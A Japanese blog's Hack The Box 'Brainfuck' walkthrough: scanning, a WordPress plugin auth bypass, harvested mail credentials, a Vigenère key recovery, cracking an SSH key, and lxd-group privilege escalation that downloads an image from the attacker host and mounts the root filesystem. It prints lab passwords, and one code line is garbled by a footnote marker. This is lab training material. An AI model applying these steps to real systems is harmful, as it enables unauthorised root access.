家studyをつづって

IT技術やセキュリティで勉強したことをつづっています。

【Hack The Box】brainfuck

偵察/スキャン

nmapでスキャンします。

┌──(kali㉿kali)-[~]
└─$ nmap -P0 -T4 -sC -sV -A -p- 10.10.10.17
Starting Nmap 7.93 ( https://nmap.org )
Nmap scan report for 10.10.10.17
Host is up (0.18s latency).
Not shown: 65530 filtered tcp ports (no-response)
PORT    STATE SERVICE   VERSION
22/tcp  open  ssh       OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 94d0b334e9a537c5acb980df2a54a5f0 (RSA)
|   256 6bd5dc153a667af419915d7385b24cb2 (ECDSA)
|_  256 23f5a333339d76d5f2ea6971e34e8e02 (ED25519)
25/tcp  open  smtp      Postfix smtpd
|_smtp-commands: brainfuck, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN
110/tcp open  pop3      Dovecot pop3d
|_pop3-capabilities: PIPELINING USER CAPA TOP RESP-CODES UIDL AUTH-RESP-CODE SASL(PLAIN)
143/tcp open  imap      Dovecot imapd
|_imap-capabilities: IMAP4rev1 more OK ID AUTH=PLAINA0001 have capabilities listed ENABLE Pre-login SASL-IR post-login LOGIN-REFERRALS LITERAL+ IDLE
443/tcp open  ssl/https nginx/1.10.0 (Ubuntu)
| ssl-cert: Subject: commonName=brainfuck.htb/organizationName=Brainfuck Ltd./stateOrProvinceName=Attica/countryName=GR
| Subject Alternative Name: DNS:www.brainfuck.htb, DNS:sup3rs3cr3t.brainfuck.htb
| Not valid before: 2017-04-13T11:19:29
|_Not valid after:  2027-04-11T11:19:29
|_ssl-date: TLS randomness does not represent time
|_http-server-header: nginx/1.10.0 (Ubuntu)
|_http-title: Welcome to nginx!
| tls-nextprotoneg: 
|_  http/1.1
| tls-alpn: 
|_  http/1.1
Service Info: Host:  brainfuck; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

TCP/443が開いています。

ブラウザでアクセスすると以下のようなページが表示されます。

 

 

ブラウザでアクセスした様子

証明書の情報を見ると、SAN(Subject Alternative Name)に別のホスト名が記載されているので、/etc/hostsに追記します。

証明書の記載情報

ブラウザでアクセスした際に、WordPressで作成されたサイトであることが確認できました。(赤字)

wpscanで情報を収集します。

┌──(kali㉿kali)-[~]
└─$ wpscan --disable-tls-checks --url https://brainfuck.htb --enumerate
______________________________________________________________
         __          _______   _____
         \ \        / /  __ \ / ____|
          \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
           \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
            \  /\  /  | |     ____) | (__| (_| | | | |
             \/  \/   |_|    |_____/ \___|\__,_|_| |_|
         WordPress Security Scanner by the WPScan Team
                         Version 3.8.22
       Sponsored by Automattic - https://automattic.com/
       @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________


[i] User(s) Identified:
[+] admin
 | Found By: Author Posts - Display Name (Passive Detection)
 | Confirmed By:
 |  Rss Generator (Passive Detection)
 |  Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 |  Login Error Messages (Aggressive Detection)
[+] administrator
 | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 | Confirmed By: Login Error Messages (Aggressive Detection)


[i] Plugin(s) Identified:

[+] wp-support-plus-responsive-ticket-system
 | Location: https://brainfuck.htb/wp-content/plugins/wp-support-plus-responsive-ticket-system/
 | Last Updated: 2019-09-03T07:57:00.000Z
 | [!] The version is out of date, the latest version is 9.1.2
 |
 | Found By: Urls In Homepage (Passive Detection)
 |
 | Version: 7.1.3 (80% confidence)
 | Found By: Readme - Stable Tag (Aggressive Detection)
 |  - https://brainfuck.htb/wp-content/plugins/wp-support-plus-responsive-ticket-system/readme.txt

使用しているユーザと、脆弱性のあるプラグインが確認できました。

参考:wpscanのオプションについて
--url: スキャン対象のURLを指定します。
--enumerate: スキャン結果から脆弱性、プラグイン、テーマなどの詳細情報を取得します。
--plugins-version: インストールされているプラグインのバージョンを取得します。
--themes-version: インストールされているテーマのバージョンを取得します。
--update: インストールされているWordPress、プラグイン、テーマの最新バージョンを取得します。
--threads: スキャン時のスレッド数を指定します。

 

アクセス取得

プラグインの脆弱性情報を調べると以下の情報が見つかりました。

descriptionに記載のある内容を読むと、wp_set_auth_cookie() の使い方が間違っているため、パスワードを知らなくても誰でもログインできます。といったことが書かれています。

www.exploit-db.com

 

上記の記載内容に従いhtmlを作成します。action内のURLをbrainfuckに指定します。

PoCの内容

 

Kali上でWebサーバをたちあげ、自分自身へアクセスします。

その後ログインし、再びbrainfuckに戻るとadminでログインした状態となります。

作成したPoCへアクセス

再びアクセス

 

管理画面より、PluginをたどるとEasy WP SMTPが見つかります。

設定内容を見るとユーザアカウントとパスワードが確認できました。

Easy WP SMTPの設定

上記アカウントをもとにTelnetでメールサーバにアクセスします。

telnet brainfuck.htb 143
a LOGIN orestis kHGuERB29DNiNE
a OK [CAPABILITY IMAP4rev1 LITERAL+ SASL-IR LOGIN-REFERRALS ID ENABLE IDLE SORT SORT=DISPLAY THREAD=REFERENCES THREAD=REFS THREAD=ORDEREDSUBJECT MULTIAPPEND URL-PARTIAL CATENATE UNSELECT CHILDREN NAMESPACE UIDPLUS LIST-EXTENDED I18NLEVEL=1 CONDSTORE QRESYNC ESEARCH ESORT SEARCHRES WITHIN CONTEXT=SEARCH LIST-STATUS BINARY MOVE SPECIAL-USE] Logged in
b LIST "" "*"
* LIST (\HasNoChildren) "/" INBOX
c EXAMINE INBOX
* FLAGS (\Answered \Flagged \Deleted \Seen \Draft)
* OK [PERMANENTFLAGS ()] Read-only mailbox.
* 2 EXISTS
* 0 RECENT
* OK [UIDVALIDITY 1493461609] UIDs valid
* OK [UIDNEXT 5] Predicted next UID
* OK [HIGHESTMODSEQ 4] Highest
d FETCH 1 BODY
* 1 FETCH (BODY
{977}
Return-Path: <www-data@brainfuck.htb>
X-Original-To: orestis@brainfuck.htb
Delivered-To: orestis@brainfuck.htb
Received: by brainfuck (Postfix, from userid 33)
 id 7150023B32; Mon, 17 Apr 2017 20:15:40 +0300 (EEST)
To: orestis@brainfuck.htb
Subject: New WordPress Site
X-PHP-Originating-Script: 33:class-phpmailer.php
Date: Mon, 17 Apr 2017 17:15:40 +0000
From: WordPress <wordpress@brainfuck.htb>
Message-ID: <00edcd034a67f3b0b6b43bab82b0f872@brainfuck.htb>
X-Mailer: PHPMailer 5.2.22 (https://github.com/PHPMailer/PHPMailer)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Your new WordPress site has been successfully set up at:
https://brainfuck.htb
You can log in to the administrator account with the following information:
Username: admin
Password: The password you chose during the install.
Log in here: https://brainfuck.htb/wp-login.php
We hope you enjoy your new site. Thanks!
--The WordPress Team
https://wordpress.org/
)

※IMAPのコマンドはコマンドの前に何か文字を入れないといけないようです。

qiita.com

2つ目のメールでフォーラムのアカウント情報が確認できました。

2つ目のメール

 

上記アカウントでフォーラムにアクセスしスレッドを読むと、何やらもめているようなやり取りに加え、SSHのキーを別スレで受け渡すような内容が見れます。

別スレに移ると以下のようなメッセージが残っていました。

暗号化されたやり取り



以下のサイトで署名と思われる文章を解析すると、ビジュネル暗号であることがわかりました。

Pieagnm - Jkoijeg nbw zwx mle grwsnn

www.boxentriq.com

 

ビジュネル暗号は既知の平文攻撃に対して脆弱であるためキーを推測できます。

以下のPythonスクリプトでキーを探索しました。

#!/bin/python

plain = "OrestisHackingforfunandprofit"

encrypted = "PieagnmJkoijegnbwzwxmlegrwsnn" 

password = ""

for i in range(len(plain)):

    x = *1 % 26) + 97

    char = chr(x)

    password = password + char

print (password)

上記を実行すると以下の結果が得られます。

キーが「fuckmybrain」であることがわかります。

┌──(kali㉿kali)-[~]
└─$ python3 vijunel.py
brainfuckmybrainfuckmybrainfu

 

上記のキーでメッセージを複合するとid_rsa鍵が取得できます。

mnvze://10.10.10.17/8zb5ra10m915218697q1h658wfoq0zc8/frmfycu/sp_ptr
https://10.10.10.17/8ba5aa10e915218697d1c658cdee0bb8/orestis/id_rsa

上記のid_rsa鍵は暗号化されているのでSSH鍵を探索します。

John The Ripperでいろいろなパスワードを調べる - Speaker Deck

python3 ssh2john.py id_rsa > id_rsa.hash

上記よりSSH鍵が「3poulakia!」であることがわかります。

上記のSSH鍵を使用してSSHアクセスするとシェルが取得できました。

 

特権昇格

SSHアクセス後linpeas.shを実行します。

注目箇所

現在のユーザ「orestis」は「lxd」グループのメンバです。

lxdに所属するユーザはsudo権限を付与されてなくとも、パスワードも不要でroot権限に即座にエスカレートできます。

(とはいっても、これ以降の手順は理解できていませんが・・・)

kali側の作業

┌──(kali㉿kali)-[~/distrobuilder]
└─$ wget https://raw.githubusercontent.com/saghul/lxd-alpine-builder/master/build-alpine
raw.githubusercontent.com (raw.githubusercontent.com) をDNSに問いあわせています... 185.199.108.133, 185.199.109.133, 185.199.110.133, ...
raw.githubusercontent.com (raw.githubusercontent.com)|185.199.108.133|:443 に接続しています... 接続しました。
HTTP による接続要求を送信しました、応答を待っています... 200 OK
長さ: 8060 (7.9K) [text/plain]
`build-alpine.1' に保存中
build-alpine.1                  100%[====================================================>]   7.87K  --.-KB/s 時間 0s       
`build-alpine.1' へ保存完了 [8060/8060]
                                                                                                                           
┌──(kali㉿kali)-[~/distrobuilder]
└─$ sudo bash build-alpine
Determining the latest release... v3.17
Using static apk from http://dl-cdn.alpinelinux.org/alpine//v3.17/main/x86_64
Downloading alpine-keys-2.4-r1.apk
tar: 未知の拡張ヘッダキーワード 'APK-TOOLS.checksum.SHA1' を無視
tar: 未知の拡張ヘッダキーワード 'APK-TOOLS.checksum.SHA1' を無視
tar: 未知の拡張ヘッダキーワード 'APK-TOOLS.checksum.SHA1' を無視
tar: 未知の拡張ヘッダキーワード 'APK-TOOLS.checksum.SHA1' を無視
tar: 未知の拡張ヘッダキーワード 'APK-TOOLS.checksum.SHA1' を無視
tar: 未知の拡張ヘッダキーワード 'APK-TOOLS.checksum.SHA1' を無視
tar: 未知の拡張ヘッダキーワード 'APK-TOOLS.checksum.SHA1' を無視
tar: 未知の拡張ヘッダキーワード 'APK-TOOLS.checksum.SHA1' を無視
tar: 未知の拡張ヘッダキーワード 'APK-TOOLS.checksum.SHA1' を無視
tar: 未知の拡張ヘッダキーワード 'APK-TOOLS.checksum.SHA1' を無視
tar: 未知の拡張ヘッダキーワード 'APK-TOOLS.checksum.SHA1' を無視
tar: 未知の拡張ヘッダキーワード 'APK-TOOLS.checksum.SHA1' を無視
tar: 未知の拡張ヘッダキーワード 'APK-TOOLS.checksum.SHA1' を無視
tar: 未知の拡張ヘッダキーワード 'APK-TOOLS.checksum.SHA1' を無視
tar: 未知の拡張ヘッダキーワード 'APK-TOOLS.checksum.SHA1' を無視
tar: 未知の拡張ヘッダキーワード 'APK-TOOLS.checksum.SHA1' を無視
tar: 未知の拡張ヘッダキーワード 'APK-TOOLS.checksum.SHA1' を無視
tar: 未知の拡張ヘッダキーワード 'APK-TOOLS.checksum.SHA1' を無視
tar: 未知の拡張ヘッダキーワード 'APK-TOOLS.checksum.SHA1' を無視
tar: 未知の拡張ヘッダキーワード 'APK-TOOLS.checksum.SHA1' を無視
tar: 未知の拡張ヘッダキーワード 'APK-TOOLS.checksum.SHA1' を無視
tar: 未知の拡張ヘッダキーワード 'APK-TOOLS.checksum.SHA1' を無視
tar: 未知の拡張ヘッダキーワード 'APK-TOOLS.checksum.SHA1' を無視
tar: 未知の拡張ヘッダキーワード 'APK-TOOLS.checksum.SHA1' を無視
tar: 未知の拡張ヘッダキーワード 'APK-TOOLS.checksum.SHA1' を無視
tar: 未知の拡張ヘッダキーワード 'APK-TOOLS.checksum.SHA1' を無視
tar: 未知の拡張ヘッダキーワード 'APK-TOOLS.checksum.SHA1' を無視
tar: 未知の拡張ヘッダキーワード 'APK-TOOLS.checksum.SHA1' を無視
tar: 未知の拡張ヘッダキーワード 'APK-TOOLS.checksum.SHA1' を無視
tar: 未知の拡張ヘッダキーワード 'APK-TOOLS.checksum.SHA1' を無視
tar: 未知の拡張ヘッダキーワード 'APK-TOOLS.checksum.SHA1' を無視
tar: 未知の拡張ヘッダキーワード 'APK-TOOLS.checksum.SHA1' を無視
tar: 未知の拡張ヘッダキーワード 'APK-TOOLS.checksum.SHA1' を無視
tar: 未知の拡張ヘッダキーワード 'APK-TOOLS.checksum.SHA1' を無視
tar: 未知の拡張ヘッダキーワード 'APK-TOOLS.checksum.SHA1' を無視
tar: 未知の拡張ヘッダキーワード 'APK-TOOLS.checksum.SHA1' を無視
tar: 未知の拡張ヘッダキーワード 'APK-TOOLS.checksum.SHA1' を無視
tar: 未知の拡張ヘッダキーワード 'APK-TOOLS.checksum.SHA1' を無視
tar: 未知の拡張ヘッダキーワード 'APK-TOOLS.checksum.SHA1' を無視
tar: 未知の拡張ヘッダキーワード 'APK-TOOLS.checksum.SHA1' を無視
tar: 未知の拡張ヘッダキーワード 'APK-TOOLS.checksum.SHA1' を無視
Downloading apk-tools-static-2.12.10-r1.apk
tar: 未知の拡張ヘッダキーワード 'APK-TOOLS.checksum.SHA1' を無視
tar: 未知の拡張ヘッダキーワード 'APK-TOOLS.checksum.SHA1' を無視
alpine-devel@lists.alpinelinux.org-6165ee59.rsa.pub: 完了
Verified OK
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  2565  100  2565    0     0    552      0  0:00:04  0:00:04 --:--:--   552
alpine.mirror.wearetriple.com (alpine.mirror.wearetriple.com) をDNSに問いあわせています... 93.187.10.106, 2a00:1f00:dc06:10::106
alpine.mirror.wearetriple.com (alpine.mirror.wearetriple.com)|93.187.10.106|:80 に接続しています... 接続しました。
HTTP による接続要求を送信しました、応答を待っています... 200 OK
長さ: 2565 (2.5K) [text/plain]
`/home/kali/distrobuilder/rootfs/usr/share/alpine-mirrors/MIRRORS.txt' に保存中
/home/kali/distrobuilder/rootfs 100%[====================================================>]   2.50K  --.-KB/s 時間 0s       
`/home/kali/distrobuilder/rootfs/usr/share/alpine-mirrors/MIRRORS.txt' へ保存完了 [2565/2565]
Selecting mirror http://mirror.ps.kz/alpine//v3.17/main
fetch http://mirror.ps.kz/alpine//v3.17/main/x86_64/APKINDEX.tar.gz
(1/25) Installing alpine-baselayout-data (3.4.0-r0)
(2/25) Installing musl (1.2.3-r4)
(3/25) Installing busybox (1.35.0-r29)
Executing busybox-1.35.0-r29.post-install
(4/25) Installing busybox-binsh (1.35.0-r29)
(5/25) Installing alpine-baselayout (3.4.0-r0)
Executing alpine-baselayout-3.4.0-r0.pre-install
Executing alpine-baselayout-3.4.0-r0.post-install
(6/25) Installing ifupdown-ng (0.12.1-r1)
(7/25) Installing libcap2 (2.66-r0)
(8/25) Installing openrc (0.45.2-r7)
Executing openrc-0.45.2-r7.post-install
(9/25) Installing mdev-conf (4.3-r0)
(10/25) Installing busybox-mdev-openrc (1.35.0-r29)
(11/25) Installing alpine-conf (3.15.0-r0)
(12/25) Installing alpine-keys (2.4-r1)
(13/25) Installing alpine-release (3.17.1-r0)
(14/25) Installing ca-certificates-bundle (20220614-r4)
(15/25) Installing libcrypto3 (3.0.7-r2)
(16/25) Installing libssl3 (3.0.7-r2)
(17/25) Installing ssl_client (1.35.0-r29)
(18/25) Installing zlib (1.2.13-r0)
(19/25) Installing apk-tools (2.12.10-r1)
(20/25) Installing busybox-openrc (1.35.0-r29)
(21/25) Installing busybox-suid (1.35.0-r29)
(22/25) Installing scanelf (1.3.5-r1)
(23/25) Installing musl-utils (1.2.3-r4)
(24/25) Installing libc-utils (0.7.2-r3)
(25/25) Installing alpine-base (3.17.1-r0)
Executing busybox-1.35.0-r29.trigger
OK: 10 MiB in 25 packages
┌──(kali㉿kali)-[~/distrobuilder]
└─$ sudo python3 -m http.server 80                                                                                       
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...た

 

brainfuck側での操作

orestis@brainfuck:/tmp$ wget http://10.10.14.36/alpine-v3.17-x86_64-20230202_1313.tar.gz
Connecting to 10.10.14.36:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3777108 (3.6M) [application/gzip]
Saving to: ‘alpine-v3.17-x86_64-20230202_1313.tar.gz’
alpine-v3.17-x86_64-20230202_13 100%[====================================================>]   3.60M   779KB/s    in 5.4s    
‘alpine-v3.17-x86_64-20230202_1313.tar.gz’ saved [3777108/3777108]

orestis@brainfuck:/tmp$ lxc image import ./alpine-v3.17-x86_64-20230202_1313.tar.gz --alias myimage
Generating a client certificate. This may take a minute...
If this is your first time using LXD, you should also run: sudo lxd init
To start your first container, try: lxc launch ubuntu:16.04
Image imported with fingerprint: bfc788ce632ef999e984eed6bccc4713ddb4e0737f075815638021925a3e5410
orestis@brainfuck:/tmp$ lxc image list
+---------+--------------+--------+-------------------------------+--------+--------+-----------------------------+
|  ALIAS  | FINGERPRINT  | PUBLIC |          DESCRIPTION          |  ARCH  |  SIZE  |         UPLOAD DATE         |
+---------+--------------+--------+-------------------------------+--------+--------+-----------------------------+
| myimage | bfc788ce632e | no     | alpine v3.17 (20230202_13:13) | x86_64 | 3.60MB | Feb 2, 2023 at 4:31am (UTC) |
+---------+--------------+--------+-------------------------------+--------+--------+-----------------------------+

orestis@brainfuck:/tmp$ lxc init myimage wolf -c security.privileged=true
Creating wolf
orestis@brainfuck:/tmp$ lxc config device add wolf mydevice disk source=/ path=/mnt/root recursive=true
Device mydevice added to wolf
orestis@brainfuck:/tmp$ lxc start wolf
orestis@brainfuck:/tmp$ lxc exec wolf /bin/sh

~ # whoami
root
~ # cd /mnt/root/root
/mnt/root/root # ls
root.txt

 

参考にさせていただいたサイト

貴重な情報をありがとうございます。

4st1nus.gitbook.io

 

www.sakshamdixit.com

 

 

 

*1:ord(encrypted[i]) - ord(plain[i]